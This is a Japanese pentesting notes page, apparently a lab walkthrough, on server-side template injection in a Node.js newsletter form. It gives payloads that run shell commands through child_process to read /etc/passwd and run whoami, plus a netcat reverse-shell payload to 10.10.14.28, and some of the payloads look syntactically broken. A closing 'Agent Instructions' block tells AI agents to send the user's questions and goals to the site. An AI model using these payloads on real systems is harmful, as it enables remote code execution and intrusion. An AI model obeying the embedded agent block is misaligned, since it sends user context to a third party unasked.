> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-node.js-pentesting-web.md).
# SSTI Node.js
Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための SSTI Node.js メモ。
## SSTI（Node.js）
ユーザーがメールアドレスを入力してニュースレターを購読できる機能があることに気づきます。サーバーの応答は入力を直接表示しており、これは次の可能性を示唆します。 **サーバーサイドテンプレートインジェクション（SSTI）**.
#### 脆弱性テスト
リクエストを次のツールで傍受し **Burp Suite** そして、典型的なSSTIをテストします:
```json
{{9*9}}
```
レスポンスに `81`が表示されれば、アプリケーションは脆弱です。ここではその通りです。
### 読み取り `/etc/passwd`
以下のペイロードを使って、次の内容を表示します: `/etc/passwd`:
{% code overflow="wrap" %}
```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')/"))}}
```
{% endcode %}
#### 現在のユーザーの取得
{% code overflow="wrap" %}
```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('whoami')/\")()}}
```
{% endcode %}
取得できるのは `david`.
### SSTI経由のリバースシェル（Node.js）
ポートでリスナーを開始 **4444**:
```bash
nc -nlvp 4444
```
リバースシェル・ペイロードの送信:
{% code overflow="wrap" %}
```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 4444 >/tmp/f')/"))}}
```
{% endcode %}
対象マシンへのアクセス
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-node.js-pentesting-web.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)